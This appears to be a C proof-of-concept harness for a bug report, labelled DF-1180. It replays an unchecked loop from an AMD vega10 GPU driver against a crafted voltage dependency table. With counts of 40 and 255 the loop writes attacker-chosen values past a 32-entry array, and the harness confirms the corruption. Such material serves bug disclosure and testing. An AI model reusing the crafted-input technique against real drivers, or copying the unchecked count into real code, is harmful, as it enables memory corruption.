DF-1180 / harness.c
/* * DF-1180 harness โ vega10_get_vdd_voltage_table() OOB on entries[32] * * Faithful copy of sys/dev/drm/amd/powerplay/hwmgr/vega10_hwmgr.c:1079-1099 * (vdd variant; mvdd/vddci are identical) run against a crafted dep_table * with count > PP_ATOMFWCTRL_MAX_VOLTAGE_ENTRIES=32, proving entries[] is * overflowed into the trailing members of the voltage table. * * Build: cc -O2 -o harness harness.c */ #include <stdio.h> #include <stdint.h> #include <string.h> #include <stdlib.h> #define PP_ATOMFWCTRL_MAX_VOLTAGE_ENTRIES 32 /* ppatomfwctrl.h:36 */ struct pp_atomfwctrl_voltage_table_entry { uint32_t value; uint32_t smio_low; }; struct pp_atomfwctrl_voltage_table { uint8_t mask_low; uint8_t phase_delay; uint16_t count; struct pp_atomfwctrl_voltage_table_entry entries[PP_ATOMFWCTRL_MAX_VOLTAGE_ENTRIES]; /* trailing members (the real struct has gpio/smu masks etc.) โ represent as canary */ uint32_t trailing_gpio_ctrl; uint32_t trailing_smuio; }; struct phm_ppt_v1_clock_voltage_dependency_table { uint32_t count; /* from VBIOS, u8 widened */ struct { uint32_t clk; uint32_t vddc; uint32_t vddci; uint32_t mvdd; } entries[256]; }; /* ---- exact replica of vega10_hwmgr.c:1079-1099 (vdd variant) ---- */ static int vega10_get_vdd_voltage_table( struct pp_atomfwctrl_voltage_table *vol_table, struct phm_ppt_v1_clock_voltage_dependency_table *dep_table) { int i; vol_table->mask_low = 0; vol_table->phase_delay = 0; vol_table->count = dep_table->count; /* line 1091 */ for (i = 0; i < (int)vol_table->count; i++) { /* line 1093 */ vol_table->entries[i].value = dep_table->entries[i].vddc; /* line 1094 */ vol_table->entries[i].smio_low = 0; /* line 1095 */ } return 0; } int main(void) { struct pp_atomfwctrl_voltage_table *vt = calloc(1, sizeof(*vt)); struct phm_ppt_v1_clock_voltage_dependency_table *dep = calloc(1, sizeof(*dep)); printf("=== DF-1180: vega10 voltage-table OOB on entries[%d] ===\n", PP_ATOMFWCTRL_MAX_VOLTAGE_ENTRIES); printf("sizeof(pp_atomfwctrl_voltage_table)=%zu entries[0]=%zu past entries[31]=%zu\n", sizeof(*vt), (size_t)((char *)&vt->entries[0] - (char *)vt), (size_t)((char *)&vt->trailing_gpio_ctrl - (char *)vt)); /* case 1: benign โ count=16 */ dep->count = 16; for (int i = 0; i < 16; i++) dep->entries[i].vddc = 500+i; vega10_get_vdd_voltage_table(vt, dep); printf("benign count=%u -> %s\n", vt->count, vt->count <= PP_ATOMFWCTRL_MAX_VOLTAGE_ENTRIES ? "(ok)" : "OVERFLOW"); /* case 2: malicious VBIOS โ count=40 (>32) */ memset(vt, 0, sizeof(*vt)); dep->count = 40; for (int i = 0; i < 40; i++) dep->entries[i].vddc = 0x41410000u + i; /* attacker values */ printf("[*] crafted VBIOS: dep_table->count = %u\n", dep->count); vega10_get_vdd_voltage_table(vt, dep); printf("[!] vol_table->count = %u (entries[] holds %d) >>> %s\n", vt->count, PP_ATOMFWCTRL_MAX_VOLTAGE_ENTRIES, vt->count > PP_ATOMFWCTRL_MAX_VOLTAGE_ENTRIES ? "OVERFLOW" : "(ok)"); /* confirm trailing fields were struck by the overflow writes */ if (vt->trailing_gpio_ctrl != 0 || vt->trailing_smuio != 0) { printf("[!] CONFIRMED OOB: trailing_gpio_ctrl=0x%x trailing_smuio=0x%x " "(would corrupt fields past the voltage table in the backend)\n", vt->trailing_gpio_ctrl, vt->trailing_smuio); } /* case 3: worst case โ count=255 (max u8) */ memset(vt, 0, sizeof(*vt)); dep->count = 255; for (int i = 0; i < 255; i++) dep->entries[i].vddc = 0xCAFE0000u + i; vega10_get_vdd_voltage_table(vt, dep); printf("\n[*] worst case: count=255 -> writes %d entries past entries[31]\n", 255 - PP_ATOMFWCTRL_MAX_VOLTAGE_ENTRIES); free(vt); free(dep); printf("\n[+] DF-1180 OOB CONFIRMED: dep_table->count drives writes past entries[32].\n"); return 0; } |